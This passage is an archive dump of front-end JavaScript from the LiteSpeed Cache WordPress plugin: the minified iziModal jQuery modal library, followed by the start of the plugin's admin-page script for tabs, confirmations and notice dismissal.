!function(t){"function"==typeof define&&define.amd?define(["jquery"],t):"object"==typeof module&&module.exports?module.exports=function(e,i){return void 0===i&&(i="undefined"!=typeof window?require("jquery"):require("jquery")(e)),t(i),i}:t(jQuery)}(function(t){function e(){var t,e=document.createElement("fakeelement"),i={animation:"animationend",OAnimation:"oAnimationEnd",MozAnimation:"animationend",WebkitAnimation:"webkitAnimationEnd"};for(t in i)if(void 0!==e.style[t])return i[t]}function i(t){return 9===t?navigator.appVersion.indexOf("MSIE 9.")!==-1:(userAgent=navigator.userAgent,userAgent.indexOf("MSIE ")>-1||userAgent.indexOf("Trident/")>-1)}function n(t){var e=/%|px|em|cm|vh|vw/;return parseInt(String(t).split(e)[0])}function o(e){var i=e.replace(/^.*#/,""),n=t(e);n.attr("id",i+"-tmp"),window.location.hash=e,n.attr("id",i)}var s=t(window),a=t(document),r="iziModal",l={CLOSING:"closing",CLOSED:"closed",OPENING:"opening",OPENED:"opened",DESTROYED:"destroyed"},d=e(),h=!!/Mobi/.test(navigator.userAgent);window.$iziModal={},window.$iziModal.autoOpen=0,window.$iziModal.history=!1;var c=function(t,e){this.init(t,e)};return c.prototype={constructor:c,init:function(e,i){var n=this;this.$element=t(e),void 0!==this.$element[0].id&&""!==this.$element[0].id?this.id=this.$element[0].id:(this.id=r+Math.floor(1e7*Math.random()+1),this.$element.attr("id",this.id)),this.classes=void 0!==this.$element.attr("class")?this.$element.attr("class"):"",this.content=this.$element.html(),this.state=l.CLOSED,this.options=i,this.width=0,this.timer=null,this.timerTimeout=null,this.progressBar=null,this.isPaused=!1,this.isFullscreen=!1,this.headerHeight=0,this.modalHeight=0,this.$overlay=t('<div class="'+r+'-overlay" style="background-color:'+i.overlayColor+'"></div>'),this.$navigate=t('<div class="'+r+'-navigate"><div class="'+r+'-navigate-caption">Use</div><button class="'+r+'-navigate-prev"></button><button class="'+r+'-navigate-next"></button></div>'),this.group={name:this.$element.attr("data-"+r+"-group"),index:null,ids:[]},this.$element.attr("aria-hidden","true"),this.$element.attr("aria-labelledby",this.id),this.$element.attr("role","dialog"),this.$element.hasClass("iziModal")||this.$element.addClass("iziModal"),void 0===this.group.name&&""!==i.group&&(this.group.name=i.group,this.$element.attr("data-"+r+"-group",i.group)),this.options.loop===!0&&this.$element.attr("data-"+r+"-loop",!0),t.each(this.options,function(t,e){var o=n.$element.attr("data-"+r+"-"+t);try{"undefined"!=typeof o&&(""===o||"true"==o?i[t]=!0:"false"==o?i[t]=!1:"function"==typeof e?i[t]=new Function(o):i[t]=o)}catch(s){}}),i.appendTo!==!1&&this.$element.appendTo(i.appendTo),i.iframe===!0?(this.$element.html('<div class="'+r+'-wrap"><div class="'+r+'-content"><iframe class="'+r+'-iframe"></iframe>'+this.content+"</div></div>"),null!==i.iframeHeight&&this.$element.find("."+r+"-iframe").css("height",i.iframeHeight)):this.$element.html('<div class="'+r+'-wrap"><div class="'+r+'-content">'+this.content+"</div></div>"),null!==this.options.background&&this.$element.css("background",this.options.background),this.$wrap=this.$element.find("."+r+"-wrap"),null===i.zindex||isNaN(parseInt(i.zindex))||(this.$element.css("z-index",i.zindex),this.$navigate.css("z-index",i.zindex-1),this.$overlay.css("z-index",i.zindex-2)),""!==i.radius&&this.$element.css("border-radius",i.radius),""!==i.padding&&this.$element.find("."+r+"-content").css("padding",i.padding),""!==i.theme&&("light"===i.theme?this.$element.addClass(r+"-light"):this.$element.addClass(i.theme)),i.rtl===!0&&this.$element.addClass(r+"-rtl"),i.openFullscreen===!0&&(this.isFullscreen=!0,this.$element.addClass("isFullscreen")),this.createHeader(),this.recalcWidth(),this.recalcVerticalPos(),!n.options.afterRender||"function"!=typeof n.options.afterRender&&"object"!=typeof n.options.afterRender||n.options.afterRender(n)},createHeader:function(){this.$header=t('<div class="'+r+'-header"><h2 class="'+r+'-header-title">'+this.options.title+'</h2><p class="'+r+'-header-subtitle">'+this.options.subtitle+'</p><div class="'+r+'-header-buttons"></div></div>'),this.options.closeButton===!0&&this.$header.find("."+r+"-header-buttons").append('<a href="javascript:void(0)" class="'+r+"-button "+r+'-button-close" data-'+r+"-close></a>"),this.options.fullscreen===!0&&this.$header.find("."+r+"-header-buttons").append('<a href="javascript:void(0)" class="'+r+"-button "+r+'-button-fullscreen" data-'+r+"-fullscreen></a>"),this.options.timeoutProgressbar===!0&&this.$header.prepend('<div class="'+r+'-progressbar"><div style="background-color:'+this.options.timeoutProgressbarColor+'"></div></div>'),""===this.options.subtitle&&this.$header.addClass(r+"-noSubtitle"),""!==this.options.title&&(null!==this.options.headerColor&&(this.options.borderBottom===!0&&this.$element.css("border-bottom","3px solid "+this.options.headerColor),this.$header.css("background",this.options.headerColor)),null===this.options.icon&&null===this.options.iconText||(this.$header.prepend('<i class="'+r+'-header-icon"></i>'),null!==this.options.icon&&this.$header.find("."+r+"-header-icon").addClass(this.options.icon).css("color",this.options.iconColor),null!==this.options.iconText&&this.$header.find("."+r+"-header-icon").html(this.options.iconText)),this.$element.css("overflow","hidden").prepend(this.$header))},setGroup:function(e){var i=this,n=this.group.name||e;if(this.group.ids=[],void 0!==e&&e!==this.group.name&&(n=e,this.group.name=n,this.$element.attr("data-"+r+"-group",n)),void 0!==n&&""!==n){var o=0;t.each(t("."+r+"[data-"+r+"-group="+n+"]"),function(e,n){i.group.ids.push(t(this)[0].id),i.id==t(this)[0].id&&(i.group.index=o),o++})}},toggle:function(){this.state==l.OPENED&&this.close(),this.state==l.CLOSED&&this.open()},startProgress:function(t){var e=this;this.isPaused=!1,clearTimeout(this.timerTimeout),this.options.timeoutProgressbar===!0?(this.progressBar={hideEta:null,maxHideTime:null,currentTime:(new Date).getTime(),el:this.$element.find("."+r+"-progressbar > div"),updateProgress:function(){if(!e.isPaused){e.progressBar.currentTime=e.progressBar.currentTime+10;var t=(e.progressBar.hideEta-e.progressBar.currentTime)/e.progressBar.maxHideTime*100;e.progressBar.el.width(t+"%"),t<0&&e.close()}}},t>0&&(this.progressBar.maxHideTime=parseFloat(t),this.progressBar.hideEta=(new Date).getTime()+this.progressBar.maxHideTime,this.timerTimeout=setInterval(this.progressBar.updateProgress,10))):this.timerTimeout=setTimeout(function(){e.close()},e.options.timeout)},pauseProgress:function(){this.isPaused=!0},resumeProgress:function(){this.isPaused=!1},resetProgress:function(t){clearTimeout(this.timerTimeout),this.progressBar={},this.$element.find("."+r+"-progressbar > div").width("100%")},open:function(e){function i(){s.state=l.OPENED,s.$element.trigger(l.OPENED),!s.options.onOpened||"function"!=typeof s.options.onOpened&&"object"!=typeof s.options.onOpened||s.options.onOpened(s)}function n(){s.$element.off("click","[data-"+r+"-close]").on("click","[data-"+r+"-close]",function(e){e.preventDefault();var i=t(e.currentTarget).attr("data-"+r+"-transitionOut");void 0!==i?s.close({transition:i}):s.close()}),s.$element.off("click","[data-"+r+"-fullscreen]").on("click","[data-"+r+"-fullscreen]",function(t){t.preventDefault(),s.isFullscreen===!0?(s.isFullscreen=!1,s.$element.removeClass("isFullscreen")):(s.isFullscreen=!0,s.$element.addClass("isFullscreen")),s.options.onFullscreen&&"function"==typeof s.options.onFullscreen&&s.options.onFullscreen(s),s.$element.trigger("fullscreen",s)}),s.$navigate.off("click","."+r+"-navigate-next").on("click","."+r+"-navigate-next",function(t){s.next(t)}),s.$element.off("click","[data-"+r+"-next]").on("click","[data-"+r+"-next]",function(t){s.next(t)}),s.$navigate.off("click","."+r+"-navigate-prev").on("click","."+r+"-navigate-prev",function(t){s.prev(t)}),s.$element.off("click","[data-"+r+"-prev]").on("click","[data-"+r+"-prev]",function(t){s.prev(t)})}var s=this;try{void 0!==e&&e.preventClose===!1&&t.each(t("."+r),function(e,i){if(void 0!==t(i).data().iziModal){var n=t(i).iziModal("getState");"opened"!=n&&"opening"!=n||t(i).iziModal("close")}})}catch(c){}if(function(){if(s.options.history){var t=document.title;document.title=t+" - "+s.options.title,o("#"+s.id),document.title=t,window.$iziModal.history=!0}else window.$iziModal.history=!1}(),this.state==l.CLOSED){if(n(),this.setGroup(),this.state=l.OPENING,this.$element.trigger(l.OPENING),this.$element.attr("aria-hidden","false"),this.options.timeoutProgressbar===!0&&this.$element.find("."+r+"-progressbar > div").width("100%"),this.options.iframe===!0){this.$element.find("."+r+"-content").addClass(r+"-content-loader"),this.$element.find("."+r+"-iframe").on("load",function(){t(this).parent().removeClass(r+"-content-loader")});var u=null;try{u=""!==t(e.currentTarget).attr("href")?t(e.currentTarget).attr("href"):null}catch(c){}if(null===this.options.iframeURL||null!==u&&void 0!==u||(u=this.options.iframeURL),null===u||void 0===u)throw new Error("Failed to find iframe URL");this.$element.find("."+r+"-iframe").attr("src",u)}(this.options.bodyOverflow||h)&&(t("html").addClass(r+"-isOverflow"),h&&t("body").css("overflow","hidden")),this.options.onOpening&&"function"==typeof this.options.onOpening&&this.options.onOpening(this),function(){if(s.group.ids.length>1){s.$navigate.appendTo("body"),s.$navigate.addClass("fadeIn"),s.options.navigateCaption===!0&&s.$navigate.find("."+r+"-navigate-caption").show();var n=s.$element.outerWidth();s.options.navigateArrows!==!1?"closeScreenEdge"===s.options.navigateArrows?(s.$navigate.find("."+r+"-navigate-prev").css("left",0).show(),s.$navigate.find("."+r+"-navigate-next").css("right",0).show()):(s.$navigate.find("."+r+"-navigate-prev").css("margin-left",-(n/2+84)).show(),s.$navigate.find("."+r+"-navigate-next").css("margin-right",-(n/2+84)).show()):(s.$navigate.find("."+r+"-navigate-prev").hide(),s.$navigate.find("."+r+"-navigate-next").hide());var o;0===s.group.index&&(o=t("."+r+"[data-"+r+'-group="'+s.group.name+'"][data-'+r+"-loop]").length,0===o&&s.options.loop===!1&&s.$navigate.find("."+r+"-navigate-prev").hide()),s.group.index+1===s.group.ids.length&&(o=t("."+r+"[data-"+r+'-group="'+s.group.name+'"][data-'+r+"-loop]").length,0===o&&s.options.loop===!1&&s.$navigate.find("."+r+"-navigate-next").hide())}s.options.overlay===!0&&(s.options.appendToOverlay===!1?s.$overlay.appendTo("body"):s.$overlay.appendTo(s.options.appendToOverlay)),s.options.transitionInOverlay&&s.$overlay.addClass(s.options.transitionInOverlay);var a=s.options.transitionIn;"object"==typeof e&&(void 0===e.transition&&void 0===e.transitionIn||(a=e.transition||e.transitionIn),void 0!==e.zindex&&s.setZindex(e.zindex)),""!==a&&void 0!==d?(s.$element.addClass("transitionIn "+a).show(),s.$wrap.one(d,function(){s.$element.removeClass(a+" transitionIn"),s.$overlay.removeClass(s.options.transitionInOverlay),s.$navigate.removeClass("fadeIn"),i()})):(s.$element.show(),i()),s.options.pauseOnHover!==!0||s.options.pauseOnHover!==!0||s.options.timeout===!1||isNaN(parseInt(s.options.timeout))||s.options.timeout===!1||0===s.options.timeout||(s.$element.off("mouseenter").on("mouseenter",function(t){t.preventDefault(),s.isPaused=!0}),s.$element.off("mouseleave").on("mouseleave",function(t){t.preventDefault(),s.isPaused=!1}))}(),this.options.timeout===!1||isNaN(parseInt(this.options.timeout))||this.options.timeout===!1||0===this.options.timeout||s.startProgress(this.options.timeout),this.options.overlayClose&&!this.$element.hasClass(this.options.transitionOut)&&this.$overlay.click(function(){s.close()}),this.options.focusInput&&this.$element.find(":input:not(button):enabled:visible:first").focus(),function p(){s.recalcLayout(),s.timer=setTimeout(p,300)}(),a.on("keydown."+r,function(t){s.options.closeOnEscape&&27===t.keyCode&&s.close()})}},close:function(e){function i(){n.state=l.CLOSED,n.$element.trigger(l.CLOSED),n.options.iframe===!0&&n.$element.find("."+r+"-iframe").attr("src",""),(n.options.bodyOverflow||h)&&(t("html").removeClass(r+"-isOverflow"),h&&t("body").css("overflow","auto")),n.options.onClosed&&"function"==typeof n.options.onClosed&&n.options.onClosed(n),n.options.restoreDefaultContent===!0&&n.$element.find("."+r+"-content").html(n.content),0===t("."+r+":visible").length&&t("html").removeClass(r+"-isAttached")}var n=this;if(this.state==l.OPENED||this.state==l.OPENING){a.off("keydown."+r),this.state=l.CLOSING,this.$element.trigger(l.CLOSING),this.$element.attr("aria-hidden","true"),clearTimeout(this.timer),clearTimeout(this.timerTimeout),n.options.onClosing&&"function"==typeof n.options.onClosing&&n.options.onClosing(this);var o=this.options.transitionOut;"object"==typeof e&&(void 0===e.transition&&void 0===e.transitionOut||(o=e.transition||e.transitionOut)),o===!1||""===o||void 0===d?(this.$element.hide(),this.$overlay.remove(),this.$navigate.remove(),i()):(this.$element.attr("class",[this.classes,r,o,"light"==this.options.theme?r+"-light":this.options.theme,this.isFullscreen===!0?"isFullscreen":"",this.options.rtl?r+"-rtl":""].join(" ")),this.$overlay.attr("class",r+"-overlay "+this.options.transitionOutOverlay),n.options.navigateArrows===!1||h||this.$navigate.attr("class",r+"-navigate fadeOut"),this.$element.one(d,function(){n.$element.hasClass(o)&&n.$element.removeClass(o+" transitionOut").hide(),n.$overlay.removeClass(n.options.transitionOutOverlay).remove(),n.$navigate.removeClass("fadeOut").remove(),i()}))}},next:function(e){var i=this,n="fadeInRight",o="fadeOutLeft",s=t("."+r+":visible"),a={};a.out=this,void 0!==e&&"object"!=typeof e?(e.preventDefault(),s=t(e.currentTarget),n=s.attr("data-"+r+"-transitionIn"),o=s.attr("data-"+r+"-transitionOut")):void 0!==e&&(void 0!==e.transitionIn&&(n=e.transitionIn),void 0!==e.transitionOut&&(o=e.transitionOut)),this.close({transition:o}),setTimeout(function(){for(var e=t("."+r+"[data-"+r+'-group="'+i.group.name+'"][data-'+r+"-loop]").length,o=i.group.index+1;o<=i.group.ids.length;o++){try{a["in"]=t("#"+i.group.ids[o]).data().iziModal}catch(s){}if("undefined"!=typeof a["in"]){t("#"+i.group.ids[o]).iziModal("open",{transition:n});break}if(o==i.group.ids.length&&e>0||i.options.loop===!0)for(var l=0;l<=i.group.ids.length;l++)if(a["in"]=t("#"+i.group.ids[l]).data().iziModal,"undefined"!=typeof a["in"]){t("#"+i.group.ids[l]).iziModal("open",{transition:n});break}}},200),t(document).trigger(r+"-group-change",a)},prev:function(e){var i=this,n="fadeInLeft",o="fadeOutRight",s=t("."+r+":visible"),a={};a.out=this,void 0!==e&&"object"!=typeof e?(e.preventDefault(),s=t(e.currentTarget),n=s.attr("data-"+r+"-transitionIn"),o=s.attr("data-"+r+"-transitionOut")):void 0!==e&&(void 0!==e.transitionIn&&(n=e.transitionIn),void 0!==e.transitionOut&&(o=e.transitionOut)),this.close({transition:o}),setTimeout(function(){for(var e=t("."+r+"[data-"+r+'-group="'+i.group.name+'"][data-'+r+"-loop]").length,o=i.group.index;o>=0;o--){try{a["in"]=t("#"+i.group.ids[o-1]).data().iziModal}catch(s){}if("undefined"!=typeof a["in"]){t("#"+i.group.ids[o-1]).iziModal("open",{transition:n});break}if(0===o&&e>0||i.options.loop===!0)for(var l=i.group.ids.length-1;l>=0;l--)if(a["in"]=t("#"+i.group.ids[l]).data().iziModal,"undefined"!=typeof a["in"]){t("#"+i.group.ids[l]).iziModal("open",{transition:n});break}}},200),t(document).trigger(r+"-group-change",a)},destroy:function(){var e=t.Event("destroy");this.$element.trigger(e),a.off("keydown."+r),clearTimeout(this.timer),clearTimeout(this.timerTimeout),this.options.iframe===!0&&this.$element.find("."+r+"-iframe").remove(),this.$element.html(this.$element.find("."+r+"-content").html()),this.$element.off("click","[data-"+r+"-close]"),this.$element.off("click","[data-"+r+"-fullscreen]"),this.$element.off("."+r).removeData(r).attr("style",""),this.$overlay.remove(),this.$navigate.remove(),this.$element.trigger(l.DESTROYED),this.$element=null},getState:function(){return this.state},getGroup:function(){return this.group},setWidth:function(t){this.options.width=t,this.recalcWidth();var e=this.$element.outerWidth();this.options.navigateArrows!==!0&&"closeToModal"!=this.options.navigateArrows||(this.$navigate.find("."+r+"-navigate-prev").css("margin-left",-(e/2+84)).show(),this.$navigate.find("."+r+"-navigate-next").css("margin-right",-(e/2+84)).show())},setTop:function(t){this.options.top=t,this.recalcVerticalPos(!1)},setBottom:function(t){this.options.bottom=t,this.recalcVerticalPos(!1)},setHeader:function(t){t?this.$element.find("."+r+"-header").show():(this.headerHeight=0,this.$element.find("."+r+"-header").hide())},setTitle:function(t){this.options.title=t,0===this.headerHeight&&this.createHeader(),0===this.$header.find("."+r+"-header-title").length&&this.$header.append('<h2 class="'+r+'-header-title"></h2>'),this.$header.find("."+r+"-header-title").html(t)},setSubtitle:function(t){""===t?(this.$header.find("."+r+"-header-subtitle").remove(),this.$header.addClass(r+"-noSubtitle")):(0===this.$header.find("."+r+"-header-subtitle").length&&this.$header.append('<p class="'+r+'-header-subtitle"></p>'),this.$header.removeClass(r+"-noSubtitle")),this.$header.find("."+r+"-header-subtitle").html(t),this.options.subtitle=t},setIcon:function(t){0===this.$header.find("."+r+"-header-icon").length&&this.$header.prepend('<i class="'+r+'-header-icon"></i>'),this.$header.find("."+r+"-header-icon").attr("class",r+"-header-icon "+t),this.options.icon=t},setIconText:function(t){this.$header.find("."+r+"-header-icon").html(t),this.options.iconText=t},setHeaderColor:function(t){this.options.borderBottom===!0&&this.$element.css("border-bottom","3px solid "+t),this.$header.css("background",t),this.options.headerColor=t},setBackground:function(t){t===!1?(this.options.background=null,this.$element.css("background","")):(this.$element.css("background",t),this.options.background=t)},setZindex:function(t){isNaN(parseInt(this.options.zindex))||(this.options.zindex=t,this.$element.css("z-index",t),this.$navigate.css("z-index",t-1),this.$overlay.css("z-index",t-2))},setFullscreen:function(t){t?(this.isFullscreen=!0,this.$element.addClass("isFullscreen")):(this.isFullscreen=!1,this.$element.removeClass("isFullscreen"))},setContent:function(t){if("object"==typeof t){var e=t["default"]||!1;e===!0&&(this.content=t.content),t=t.content}this.options.iframe===!1&&this.$element.find("."+r+"-content").html(t)},setTransitionIn:function(t){this.options.transitionIn=t},setTransitionOut:function(t){this.options.transitionOut=t},setTimeout:function(t){this.options.timeout=t},resetContent:function(){this.$element.find("."+r+"-content").html(this.content)},startLoading:function(){this.$element.find("."+r+"-loader").length||this.$element.append('<div class="'+r+'-loader fadeIn"></div>'),this.$element.find("."+r+"-loader").css({top:this.headerHeight,borderRadius:this.options.radius})},stopLoading:function(){var t=this.$element.find("."+r+"-loader");t.length||(this.$element.prepend('<div class="'+r+'-loader fadeIn"></div>'),t=this.$element.find("."+r+"-loader").css("border-radius",this.options.radius)),t.removeClass("fadeIn").addClass("fadeOut"),setTimeout(function(){t.remove()},600)},recalcWidth:function(){var t=this;if(this.$element.css("max-width",this.options.width),i()){var e=t.options.width;e.toString().split("%").length>1&&(e=t.$element.outerWidth()),t.$element.css({left:"50%",marginLeft:-(e/2)})}},recalcVerticalPos:function(t){null!==this.options.top&&this.options.top!==!1?(this.$element.css("margin-top",this.options.top),0===this.options.top&&this.$element.css({borderTopRightRadius:0,borderTopLeftRadius:0})):t===!1&&this.$element.css({marginTop:"",borderRadius:this.options.radius}),null!==this.options.bottom&&this.options.bottom!==!1?(this.$element.css("margin-bottom",this.options.bottom),0===this.options.bottom&&this.$element.css({borderBottomRightRadius:0,borderBottomLeftRadius:0})):t===!1&&this.$element.css({marginBottom:"",borderRadius:this.options.radius})},recalcLayout:function(){var e=this,o=s.height(),a=this.$element.outerHeight(),d=this.$element.outerWidth(),h=this.$element.find("."+r+"-content")[0].scrollHeight,c=h+this.headerHeight,u=this.$element.innerHeight()-this.headerHeight,p=(parseInt(-((this.$element.innerHeight()+1)/2))+"px",this.$wrap.scrollTop()),f=0;i()&&(d>=s.width()||this.isFullscreen===!0?this.$element.css({left:"0",marginLeft:""}):this.$element.css({left:"50%",marginLeft:-(d/2)})),this.options.borderBottom===!0&&""!==this.options.title&&(f=3),this.$element.find("."+r+"-header").length&&this.$element.find("."+r+"-header").is(":visible")?(this.headerHeight=parseInt(this.$element.find("."+r+"-header").innerHeight()),this.$element.css("overflow","hidden")):(this.headerHeight=0,this.$element.css("overflow","")),this.$element.find("."+r+"-loader").length&&this.$element.find("."+r+"-loader").css("top",this.headerHeight),a!==this.modalHeight&&(this.modalHeight=a,this.options.onResize&&"function"==typeof this.options.onResize&&this.options.onResize(this)),this.state!=l.OPENED&&this.state!=l.OPENING||(this.options.iframe===!0&&(o<this.options.iframeHeight+this.headerHeight+f||this.isFullscreen===!0?this.$element.find("."+r+"-iframe").css("height",o-(this.headerHeight+f)):this.$element.find("."+r+"-iframe").css("height",this.options.iframeHeight)),a==o?this.$element.addClass("isAttached"):this.$element.removeClass("isAttached"),this.isFullscreen===!1&&this.$element.width()>=s.width()?this.$element.find("."+r+"-button-fullscreen").hide():this.$element.find("."+r+"-button-fullscreen").show(),this.recalcButtons(),this.isFullscreen===!1&&(o=o-(n(this.options.top)||0)-(n(this.options.bottom)||0)),c>o?(this.options.top>0&&null===this.options.bottom&&h<s.height()&&this.$element.addClass("isAttachedBottom"),this.options.bottom>0&&null===this.options.top&&h<s.height()&&this.$element.addClass("isAttachedTop"),1===t("."+r+":visible").length&&t("html").addClass(r+"-isAttached"),this.$element.css("height",o)):(this.$element.css("height",h+(this.headerHeight+f)),this.$element.removeClass("isAttachedTop isAttachedBottom"),1===t("."+r+":visible").length&&t("html").removeClass(r+"-isAttached")),function(){h>u&&c>o?(e.$element.addClass("hasScroll"),e.$wrap.css("height",a-(e.headerHeight+f))):(e.$element.removeClass("hasScroll"),e.$wrap.css("height","auto"))}(),function(){u+p<h-30?e.$element.addClass("hasShadow"):e.$element.removeClass("hasShadow")}())},recalcButtons:function(){var t=this.$header.find("."+r+"-header-buttons").innerWidth()+10;this.options.rtl===!0?this.$header.css("padding-left",t):this.$header.css("padding-right",t)}},s.off("load."+r).on("load."+r,function(e){var i=document.location.hash;if(0===window.$iziModal.autoOpen&&!t("."+r).is(":visible"))try{var n=t(i).data();"undefined"!=typeof n&&n.iziModal.options.autoOpen!==!1&&t(i).iziModal("open")}catch(o){}}),s.off("hashchange."+r).on("hashchange."+r,function(e){var i=document.location.hash;if(""!==i)try{var n=t(i).data();"undefined"!=typeof n&&"opening"!==t(i).iziModal("getState")&&setTimeout(function(){t(i).iziModal("open",{preventClose:!1})},200)}catch(o){}else window.$iziModal.history&&t.each(t("."+r),function(e,i){if(void 0!==t(i).data().iziModal){var n=t(i).iziModal("getState");"opened"!=n&&"opening"!=n||t(i).iziModal("close")}})}),a.off("click","[data-"+r+"-open]").on("click","[data-"+r+"-open]",function(e){e.preventDefault();var i=t("."+r+":visible"),n=t(e.currentTarget).attr("data-"+r+"-open"),o=t(e.currentTarget).attr("data-"+r+"-preventClose"),s=t(e.currentTarget).attr("data-"+r+"-transitionIn"),a=t(e.currentTarget).attr("data-"+r+"-transitionOut"),l=t(e.currentTarget).attr("data-"+r+"-zindex");void 0!==l&&t(n).iziModal("setZindex",l),void 0===o&&(void 0!==a?i.iziModal("close",{transition:a}):i.iziModal("close")),setTimeout(function(){void 0!==s?t(n).iziModal("open",{transition:s}):t(n).iziModal("open")},200)}),a.off("keyup."+r).on("keyup."+r,function(e){if(t("."+r+":visible").length){var i=t("."+r+":visible")[0].id,n=t("#"+i).data().iziModal.options.arrowKeys,o=t("#"+i).iziModal("getGroup"),s=e||window.event,a=s.target||s.srcElement;void 0===i||!n||void 0===o.name||s.ctrlKey||s.metaKey||s.altKey||"INPUT"===a.tagName.toUpperCase()||"TEXTAREA"==a.tagName.toUpperCase()||(37===s.keyCode?t("#"+i).iziModal("prev",s):39===s.keyCode&&t("#"+i).iziModal("next",s))}}),t.fn[r]=function(e,i){if(!t(this).length&&"object"==typeof e){var n={$el:document.createElement("div"),id:this.selector.split("#"),"class":this.selector.split(".")};if(n.id.length>1){try{n.$el=document.createElement(id[0])}catch(o){}n.$el.id=this.selector.split("#")[1].trim()}else if(n["class"].length>1){try{n.$el=document.createElement(n["class"][0])}catch(o){}for(var s=1;s<n["class"].length;s++)n.$el.classList.add(n["class"][s].trim())}document.body.appendChild(n.$el),this.push(t(this.selector))}for(var a=this,l=0;l<a.length;l++){var d=t(a[l]),h=d.data(r),u=t.extend({},t.fn[r].defaults,d.data(),"object"==typeof e&&e);if(h||e&&"object"!=typeof e){if("string"==typeof e&&"undefined"!=typeof h)return h[e].apply(h,[].concat(i))}else d.data(r,h=new c(d,u));u.autoOpen&&(isNaN(parseInt(u.autoOpen))?u.autoOpen===!0&&h.open():setTimeout(function(){h.open()},u.autoOpen),window.$iziModal.autoOpen++)}return this},t.fn[r].defaults={title:"",subtitle:"",headerColor:"#88A0B9",background:null,theme:"",icon:null,iconText:null,iconColor:"",rtl:!1,width:600,top:null,bottom:null,borderBottom:!0,padding:0,radius:3,zindex:999,iframe:!1,iframeHeight:400,iframeURL:null,focusInput:!0,group:"",loop:!1,arrowKeys:!0,navigateCaption:!0,navigateArrows:!0,history:!1,restoreDefaultContent:!1,autoOpen:0,bodyOverflow:!1,fullscreen:!1,openFullscreen:!1,closeOnEscape:!0,closeButton:!0,appendTo:"body",appendToOverlay:"body",overlay:!0,overlayClose:!0,overlayColor:"rgba(0, 0, 0, 0.4)",timeout:!1,timeoutProgressbar:!1,pauseOnHover:!1,timeoutProgressbarColor:"rgba(255,255,255,0.5)",transitionIn:"comingIn",transitionOut:"comingOut",transitionInOverlay:"fadeIn",transitionOutOverlay:"fadeOut",onFullscreen:function(){},onResize:function(){},onOpening:function(){},onOpened:function(){},onClosing:function(){},onClosed:function(){},afterRender:function(){}},t.fn[r].Constructor=c,t.fn.iziModal});litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/js/litespeed-cache-admin.js000064400000021000151031165260022641 0ustar00(function ($) {
	'use strict';

	/**
	 * All of the code for your public-facing JavaScript source
	 * should reside in this file.
	 *
	 * Note: It has been assumed you will write jQuery code here, so the
	 * $ function reference has been prepared for usage within the scope
	 * of this function.
	 *
	 * This enables you to define handlers, for when the DOM is ready:
	 *
	 * $(function() {
	 *
	 * }) ;
	 *
	 * When the window is loaded:
	 *
	 * $( window ).load(function() {
	 *
	 * }) ;
	 *
	 * ...and/or other possibilities.
	 *
	 * Ideally, it is not considered best practise to attach more than a
	 * single DOM-ready or window-load handler for a particular page.
	 * Although scripts in the WordPress core, Plugins and Themes may be
	 * practising this, we should strive to set a better example in our own work.
	 */

	jQuery(document).ready(function () {
		/************** Common LiteSpeed JS **************/
		// Link confirm
		$('[data-litespeed-cfm]').on('click', function (event) {
			cfm_txt = $.trim($(this).data('litespeed-cfm')).replace(/\\n/g, '\n');
			if (cfm_txt === '') {
				return true;
			}
			if (confirm(cfm_txt)) {
				return true;
			}
			event.preventDefault();
			event.stopImmediatePropagation();
			return false;
		});

		/************** LSWCP JS ****************/
		// page tab switch functionality
		(function () {
			var hash = window.location.hash.substr(1);
			var $tabs = $('[data-litespeed-tab]');
			var $subtabs = $('[data-litespeed-subtab]');

			// Handle tab and subtab events
			var tab_action = function ($elems, type) {
				type = litespeed_tab_type(type);
				var data = 'litespeed-' + type;
				$elems.on('click', function (_event) {
					litespeed_display_tab($(this).data(data), type);
					document.cookie = 'litespeed_' + type + '=' + $(this).data(data);
					$(this).blur();
				});
			};
			tab_action($tabs);
			tab_action($subtabs, 'subtab');

			if (!$tabs.length > 0) {
				// No tabs exist
				return;
			}

			// Find hash in tabs and subtabs
			var $hash_tab = $tabs.filter('[data-litespeed-tab="' + hash + '"]:first');
			var $hash_subtab = $subtabs.filter('[data-litespeed-subtab="' + hash + '"]:first');

			// Find tab name
			var $subtab;
			var $tab;
			var tab_name;
			if ($hash_subtab.length > 0) {
				// Hash is a subtab
				$tab = $hash_subtab.closest('[data-litespeed-layout]');
				if ($tab.length > 0) {
					$subtab = $hash_subtab;
					tab_name = $tab.data('litespeed-layout');
				}
			}
			if (typeof $tab === 'undefined' || $tab.length < 1) {
				// Maybe hash is a tab
				$tab = $hash_tab;
				if ($tab.length < 1) {
					// Maybe tab cookie exists
					$tab = litespeed_tab_cookie($tabs);
					if ($tab.length < 1) {
						// Use the first tab by default
						$tab = $tabs.first();
					}
				}
				if (typeof tab_name === 'undefined') {
					tab_name = $tab.data('litespeed-tab');
				}
			}

			// Always display a tab
			litespeed_display_tab(tab_name);

			// Find subtab name
			if (typeof $subtab === 'undefined' || $subtab.length < 1) {
				$subtab = litespeed_tab_cookie($subtabs, 'subtab');
			}
			if ($subtab.length > 0) {
				var subtab_name = $subtab.data('litespeed-subtab');
				// Display a subtab
				litespeed_display_tab(subtab_name, 'subtab');
			}
		})();

		/******************** Clear whm msg ********************/
		$(document).on('click', '.lscwp-whm-notice .notice-dismiss', function () {
			$.get(litespeed_data.ajax_url_dismiss_whm);
		});
		/******************** Clear rule conflict msg ********************/
		$(document).on('click', '.lscwp-notice-ruleconflict .notice-dismiss', function () {
			$.get(litespeed_data.ajax_url_dismiss_ruleconflict);
		});

		/** Accesskey **/
		$('[litespeed-accesskey]').map(function () {
			var thiskey = $(this).attr('litespeed-accesskey');
			if (thiskey == '') {
				return;
			}
			$(this).attr('title', 'Shortcut : ' + thiskey.toLocaleUpperCase());
			var that = this;
			$(document).on('keydown', function (e) {
				if ($(':input:focus').length > 0) return;
				if (event.metaKey) return;
				if (event.ctrlKey) return;
				if (event.altKey) return;
				if (event.shiftKey) return;
				if (litespeed_keycode(thiskey.charCodeAt(0))) $(that)[0].click();
			});
		});

		/** Lets copy one more submit button **/
		if ($('input[name="LSCWP_CTRL"]').length > 0) {
			var btn = $('input.litespeed-duplicate-float');
			btn.clone().addClass('litespeed-float-submit').removeAttr('id').insertAfter(btn);
		}
		if ($('input[id="LSCWP_NONCE"]').length > 0) {
			$('input[id="LSCWP_NONCE"]').removeAttr('id');
		}

		/**
		 * Human readable time conversation
		 * @since  3.0
		 */
		if ($('[data-litespeed-readable]').length > 0) {
			$('[data-litespeed-readable]').each(function (index, el) {
				var that = this;
				var $input = $(this).siblings('input[type="text"]');

				var txt = litespeed_readable_time($input.val());
				$(that).html(txt ? '= ' + txt : '');

